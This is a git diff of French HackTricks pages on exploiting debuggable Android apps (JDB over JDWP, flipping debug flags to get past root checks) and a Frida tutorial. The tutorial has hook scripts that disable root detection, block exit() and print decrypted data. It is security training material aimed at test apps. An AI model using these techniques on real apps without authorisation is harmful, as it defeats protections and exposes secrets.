{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,21 @@
|
|||
# Exploiter une application débogable
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Supportez HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
# **Contourner les vérifications de root et de débogage**
|
||||
# **Contourner les vérifications de root et débogage**
|
||||
|
||||
Cette section du post est un résumé du post [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||
|
||||
|
@ -27,82 +28,81 @@ Contenu basé sur https://medium.com/@shubhamsonani/hacking-with-precision-bypas
|
|||
1. **Décompiler l'APK :**
|
||||
- Utilisez l'outil APK-GUI pour décompiler l'APK.
|
||||
- Dans le fichier _android-manifest_, insérez `android:debuggable=true` pour activer le mode débogage.
|
||||
- Recompilez, signez et zippez l'application modifiée.
|
||||
- Recompilez, signez et zipalign l'application modifiée.
|
||||
|
||||
2. **Installer l'application modifiée :**
|
||||
- Utilisez la commande : `adb install <nom_application>`.
|
||||
- Utilisez la commande : `adb install <application_name>`.
|
||||
|
||||
3. **Récupérer le nom du package :**
|
||||
- Exécutez `adb shell pm list packages –3` pour lister les applications tierces et trouver le nom du package.
|
||||
|
||||
4. **Définir l'application pour attendre la connexion du débogueur :**
|
||||
- Commande : `adb shell am setup-debug-app –w <nom_package>`.
|
||||
- **Remarque :** Cette commande doit être exécutée à chaque fois avant de démarrer l'application pour s'assurer qu'elle attend le débogueur.
|
||||
- Pour la persistance, utilisez `adb shell am setup-debug-app –w -–persistent <nom_package>`.
|
||||
- Pour supprimer tous les drapeaux, utilisez `adb shell am clear-debug-app <nom_package>`.
|
||||
4. **Configurer l'application pour attendre la connexion du débogueur :**
|
||||
- Commande : `adb shell am setup-debug-app –w <package_name>`.
|
||||
- **Remarque :** Cette commande doit être exécutée chaque fois avant de démarrer l'application pour s'assurer qu'elle attend le débogueur.
|
||||
- Pour la persistance, utilisez `adb shell am setup-debug-app –w -–persistent <package_name>`.
|
||||
- Pour supprimer tous les drapeaux, utilisez `adb shell am clear-debug-app <package_name>`.
|
||||
|
||||
5. **Préparation pour le débogage dans Android Studio :**
|
||||
- Naviguez dans Android Studio vers _Fichier -> Ouvrir Profil ou APK_.
|
||||
5. **Préparer le débogage dans Android Studio :**
|
||||
- Naviguez dans Android Studio vers _File -> Open Profile or APK_.
|
||||
- Ouvrez l'APK recompilé.
|
||||
|
||||
6. **Définir des points d'arrêt dans des fichiers Java clés :**
|
||||
- Placez des points d'arrêt dans `MainActivity.java` (spécifiquement dans la méthode `onCreate`), `b.java` et `ContextWrapper.java`.
|
||||
- Placez des points d'arrêt dans `MainActivity.java` (spécifiquement dans la méthode `onCreate`), `b.java`, et `ContextWrapper.java`.
|
||||
|
||||
### **Contourner les vérifications**
|
||||
|
||||
L'application, à certains moments, vérifiera si elle est débogable et vérifiera également les binaires indiquant un appareil rooté. Le débogueur peut être utilisé pour modifier les informations de l'application, désactiver le bit débogable et modifier les noms des binaires recherchés pour contourner ces vérifications.
|
||||
L'application, à certains moments, vérifiera si elle est débogable et vérifiera également la présence de binaires indiquant un appareil rooté. Le débogueur peut être utilisé pour modifier les informations de l'application, désactiver le bit débogable et altérer les noms des binaires recherchés pour contourner ces vérifications.
|
||||
|
||||
Pour la vérification de débogage :
|
||||
Pour la vérification débogable :
|
||||
|
||||
1. **Modifier les paramètres du drapeau :**
|
||||
- Dans la section variable de la console du débogueur, accédez à : `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
|
||||
1. **Modifier les paramètres de drapeau :**
|
||||
- Dans la section des variables de la console du débogueur, naviguez vers : `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
|
||||
- **Remarque :** La représentation binaire de `flags = 814267974` est `11000011100111011110`, indiquant que le "Flag_debuggable" est actif.
|
||||
|
||||
![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)
|
||||
|
||||
Ces étapes garantissent collectivement que l'application peut être déboguée et que certaines vérifications de sécurité peuvent être contournées en utilisant le débogueur, facilitant une analyse ou une modification plus approfondie du comportement de l'application.
|
||||
Ces étapes garantissent collectivement que l'application peut être déboguée et que certaines vérifications de sécurité peuvent être contournées à l'aide du débogueur, facilitant une analyse ou une modification plus approfondie du comportement de l'application.
|
||||
|
||||
L'étape 2 implique de changer une valeur de drapeau en 814267972, qui est représentée en binaire comme 110000101101000000100010100.
|
||||
L'étape 2 consiste à changer une valeur de drapeau à 814267972, qui est représentée en binaire comme 110000101101000000100010100.
|
||||
|
||||
# **Exploiter une vulnérabilité**
|
||||
|
||||
Une démonstration a été fournie en utilisant une application vulnérable contenant un bouton et un textview. Initialement, l'application affiche "Crack Me". L'objectif est de modifier le message de "Try Again" à "Hacked" en temps réel, sans modifier le code source.
|
||||
Une démonstration a été fournie en utilisant une application vulnérable contenant un bouton et un textview. Au départ, l'application affiche "Crack Me". L'objectif est de modifier le message de "Try Again" à "Hacked" à l'exécution, sans modifier le code source.
|
||||
|
||||
## **Vérification de la vulnérabilité**
|
||||
- L'application a été décompliée en utilisant `apktool` pour accéder au fichier `AndroidManifest.xml`.
|
||||
- La présence de `android_debuggable="true"` dans AndroidManifest.xml indique que l'application est débogable et susceptible d'être exploitée.
|
||||
- L'application a été décompilée à l'aide de `apktool` pour accéder au fichier `AndroidManifest.xml`.
|
||||
- La présence de `android_debuggable="true"` dans le AndroidManifest.xml indique que l'application est débogable et susceptible d'exploitation.
|
||||
- Il convient de noter que `apktool` est utilisé uniquement pour vérifier le statut débogable sans modifier de code.
|
||||
|
||||
## **Préparation de la configuration**
|
||||
- Le processus impliquait de démarrer un émulateur, d'installer l'application vulnérable et d'utiliser `adb jdwp` pour identifier les ports Dalvik VM en écoute.
|
||||
- Le processus a impliqué le lancement d'un émulateur, l'installation de l'application vulnérable et l'utilisation de `adb jdwp` pour identifier les ports Dalvik VM à l'écoute.
|
||||
- Le JDWP (Java Debug Wire Protocol) permet de déboguer une application s'exécutant dans une VM en exposant un port unique.
|
||||
- Le renvoi de port était nécessaire pour le débogage à distance, suivi de l'attachement de JDB à l'application cible.
|
||||
- Le transfert de port était nécessaire pour le débogage à distance, suivi de l'attachement de JDB à l'application cible.
|
||||
|
||||
## **Injection de code en temps réel**
|
||||
## **Injection de code à l'exécution**
|
||||
- L'exploitation a été réalisée en définissant des points d'arrêt et en contrôlant le flux de l'application.
|
||||
- Des commandes telles que `classes` et `methods <nom_classe>` ont été utilisées pour découvrir la structure de l'application.
|
||||
- Des commandes comme `classes` et `methods <class_name>` ont été utilisées pour découvrir la structure de l'application.
|
||||
- Un point d'arrêt a été défini dans la méthode `onClick`, et son exécution a été contrôlée.
|
||||
- Les commandes `locals`, `next` et `set` ont été utilisées pour inspecter et modifier les variables locales, en particulier en changeant le message "Try Again" en "Hacked".
|
||||
- Le code modifié a été exécuté en utilisant la commande `run`, modifiant avec succès la sortie de l'application en temps réel.
|
||||
|
||||
Cet exemple a démontré comment le comportement d'une application débogable peut être manipulé, mettant en évidence le potentiel d'exploits plus complexes comme l'obtention d'un accès shell sur l'appareil dans le contexte de l'application.
|
||||
|
||||
- Le code modifié a été exécuté à l'aide de la commande `run`, modifiant avec succès la sortie de l'application en temps réel.
|
||||
|
||||
Cet exemple a démontré comment le comportement d'une application débogable peut être manipulé, soulignant le potentiel d'exploits plus complexes comme l'obtention d'un accès shell sur l'appareil dans le contexte de l'application.
|
||||
|
||||
## Références
|
||||
* [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||
* [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Supportez HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,34 +1,35 @@
|
|||
# Tutoriel Frida
|
||||
# Frida Tutorial
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Astuce de prime de bug** : **inscrivez-vous** sur **Intigriti**, une plateforme de prime de bug premium créée par des pirates, pour des pirates ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
**Astuce bug bounty**: **inscrivez-vous** sur **Intigriti**, une **plateforme de bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Installation
|
||||
|
||||
Installez les **outils frida** :
|
||||
Install **frida tools**:
|
||||
```bash
|
||||
pip install frida-tools
|
||||
pip install frida
|
||||
```
|
||||
**Téléchargez et installez** sur l'Android le **serveur frida** ([Téléchargez la dernière version](https://github.com/frida/frida/releases)).\
|
||||
Une commande pour redémarrer adb en mode root, se connecter, télécharger frida-server, donner les permissions d'exécution et l'exécuter en arrière-plan:
|
||||
**Téléchargez et installez** sur l'android le **frida server** ([Téléchargez la dernière version](https://github.com/frida/frida/releases)).\
|
||||
Une ligne de commande pour redémarrer adb en mode root, s'y connecter, télécharger frida-server, donner des permissions d'exécution et l'exécuter en arrière-plan :
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -47,14 +48,14 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
|||
|
||||
**De**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
||||
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
|
||||
**Code source**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
||||
**Code Source**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
||||
|
||||
**Suivez le [lien pour le lire](frida-tutorial-1.md).**
|
||||
|
||||
### [Tutoriel 2](frida-tutorial-2.md)
|
||||
|
||||
**De**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parties 2, 3 & 4)\
|
||||
**APKs et code source**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
**APKs et Code source**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
|
||||
**Suivez le [lien pour le lire.](frida-tutorial-2.md)**
|
||||
|
||||
|
@ -65,7 +66,7 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
|||
|
||||
**Suivez le [lien pour le lire](owaspuncrackable-1.md).**
|
||||
|
||||
**Vous pouvez trouver plus de scripts impressionnants de Frida ici:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
**Vous pouvez trouver plus de scripts Frida géniaux ici :** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
|
||||
## Exemples Rapides
|
||||
|
||||
|
@ -82,7 +83,7 @@ frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1
|
|||
#frozen so that the instrumentation can occur, and the automatically
|
||||
#continue execution with our modified code.
|
||||
```
|
||||
### Script Python de base
|
||||
### Script Python de Base
|
||||
```python
|
||||
import frida, sys
|
||||
|
||||
|
@ -93,9 +94,9 @@ print('[ * ] Running Frida Demo application')
|
|||
script.load()
|
||||
sys.stdin.read()
|
||||
```
|
||||
### Accrocher des fonctions sans paramètres
|
||||
### Hooking functions without parameters
|
||||
|
||||
Accrochez la fonction `a()` de la classe `sg.vantagepoint.a.c`
|
||||
Hookez la fonction `a()` de la classe `sg.vantagepoint.a.c`
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
; rootcheck1.a.overload().implementation = function() {
|
||||
|
@ -106,63 +107,13 @@ return false;
|
|||
});
|
||||
```
|
||||
Hook java `exit()`
|
||||
|
||||
Crochet `exit()` en Java
|
||||
```javascript
|
||||
var sysexit = Java.use("java.lang.System");
|
||||
sysexit.exit.overload("int").implementation = function(var_0) {
|
||||
send("java.lang.System.exit(I)V // We avoid exiting the application :)");
|
||||
};
|
||||
```
|
||||
# Hook MainActivity `.onStart()` & `.onCreate()`
|
||||
|
||||
## English
|
||||
|
||||
To hook the `onStart()` and `onCreate()` methods of the MainActivity class, you can use Frida to intercept and modify the behavior of these methods in an Android application.
|
||||
|
||||
Here is an example script that demonstrates how to hook these methods using Frida:
|
||||
|
||||
```javascript
|
||||
Java.perform(function() {
|
||||
var MainActivity = Java.use('com.example.MainActivity');
|
||||
|
||||
MainActivity.onStart.implementation = function() {
|
||||
console.log('onStart() hooked');
|
||||
this.onStart();
|
||||
};
|
||||
|
||||
MainActivity.onCreate.implementation = function() {
|
||||
console.log('onCreate() hooked');
|
||||
this.onCreate();
|
||||
};
|
||||
});
|
||||
```
|
||||
|
||||
By running this Frida script, you can intercept the `onStart()` and `onCreate()` methods of the MainActivity class and add your custom logic or modifications.
|
||||
|
||||
## French
|
||||
|
||||
Pour accrocher les méthodes `onStart()` et `onCreate()` de la classe MainActivity, vous pouvez utiliser Frida pour intercepter et modifier le comportement de ces méthodes dans une application Android.
|
||||
|
||||
Voici un exemple de script qui montre comment accrocher ces méthodes en utilisant Frida :
|
||||
|
||||
```javascript
|
||||
Java.perform(function() {
|
||||
var MainActivity = Java.use('com.example.MainActivity');
|
||||
|
||||
MainActivity.onStart.implementation = function() {
|
||||
console.log('onStart() accroché');
|
||||
this.onStart();
|
||||
};
|
||||
|
||||
MainActivity.onCreate.implementation = function() {
|
||||
console.log('onCreate() accroché');
|
||||
this.onCreate();
|
||||
};
|
||||
});
|
||||
```
|
||||
|
||||
En exécutant ce script Frida, vous pouvez intercepter les méthodes `onStart()` et `onCreate()` de la classe MainActivity et ajouter votre propre logique ou modifications.
|
||||
Hook MainActivity `.onStart()` & `.onCreate()`
|
||||
```javascript
|
||||
var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity");
|
||||
mainactivity.onStart.overload().implementation = function() {
|
||||
|
@ -175,32 +126,6 @@ var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
|||
};
|
||||
```
|
||||
Hook android `.onCreate()`
|
||||
|
||||
---
|
||||
|
||||
### English
|
||||
|
||||
```java
|
||||
Java.perform(function() {
|
||||
var Activity = Java.use('android.app.Activity');
|
||||
Activity.onCreate.implementation = function() {
|
||||
console.log('onCreate() called');
|
||||
this.onCreate();
|
||||
};
|
||||
});
|
||||
```
|
||||
|
||||
### French
|
||||
|
||||
```java
|
||||
Java.perform(function() {
|
||||
var Activity = Java.use('android.app.Activity');
|
||||
Activity.onCreate.implementation = function() {
|
||||
console.log('onCreate() appelé');
|
||||
this.onCreate();
|
||||
};
|
||||
});
|
||||
```
|
||||
```javascript
|
||||
var activity = Java.use("android.app.Activity");
|
||||
activity.onCreate.overload("android.os.Bundle").implementation = function(var_0) {
|
||||
|
@ -208,9 +133,9 @@ send("Activity HIT!!!");
|
|||
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
||||
};
|
||||
```
|
||||
### Accrocher des fonctions avec des paramètres et récupérer la valeur
|
||||
### Hooking functions with parameters and retrieving the value
|
||||
|
||||
Accrocher une fonction de décryptage. Imprimer l'entrée, appeler la fonction originale pour décrypter l'entrée et enfin, imprimer les données en clair:
|
||||
Hooking une fonction de déchiffrement. Imprimez l'entrée, appelez la fonction originale pour déchiffrer l'entrée et enfin, imprimez les données en clair :
|
||||
```javascript
|
||||
function getString(data){
|
||||
var ret = "";
|
||||
|
@ -235,9 +160,9 @@ send("Decrypted flag: " + flag);
|
|||
return ret; //[B
|
||||
};
|
||||
```
|
||||
### Accrocher des fonctions et les appeler avec notre entrée
|
||||
### Hooking functions and calling them with our input
|
||||
|
||||
Accrochez une fonction qui reçoit une chaîne de caractères et appelez-la avec une autre chaîne de caractères (à partir [d'ici](https://11x256.github.io/Frida-hooking-android-part-2/))
|
||||
Hookez une fonction qui reçoit une chaîne et appelez-la avec une autre chaîne (de [ici](https://11x256.github.io/Frida-hooking-android-part-2/))
|
||||
```javascript
|
||||
var string_class = Java.use("java.lang.String"); // get a JS wrapper for java's String class
|
||||
|
||||
|
@ -253,7 +178,7 @@ return ret;
|
|||
|
||||
Si vous souhaitez extraire un attribut d'un objet créé, vous pouvez utiliser ceci.
|
||||
|
||||
Dans cet exemple, vous allez voir comment obtenir l'objet de la classe my\_activity et comment appeler la fonction .secret() qui affichera un attribut privé de l'objet:
|
||||
Dans cet exemple, vous allez voir comment obtenir l'objet de la classe my\_activity et comment appeler la fonction .secret() qui imprimera un attribut privé de l'objet :
|
||||
```javascript
|
||||
Java.choose("com.example.a11x256.frida_test.my_activity" , {
|
||||
onMatch : function(instance){ //This function will be called for every instance found by frida
|
||||
|
@ -263,7 +188,7 @@ console.log("Result of secret func: " + instance.secret());
|
|||
onComplete:function(){}
|
||||
});
|
||||
```
|
||||
## Autres tutoriels sur Frida
|
||||
## Autres tutoriels Frida
|
||||
|
||||
* [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
|
||||
* [Partie 1 de la série de blogs sur l'utilisation avancée de Frida : Bibliothèques de chiffrement IOS](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
|
||||
|
@ -272,20 +197,21 @@ onComplete:function(){}
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Astuce de prime de bug** : **inscrivez-vous** sur **Intigriti**, une plateforme de prime de bug premium créée par des hackers, pour des hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**!
|
||||
**Conseil pour les bug bounty** : **inscrivez-vous** sur **Intigriti**, une **plateforme de bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** !
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
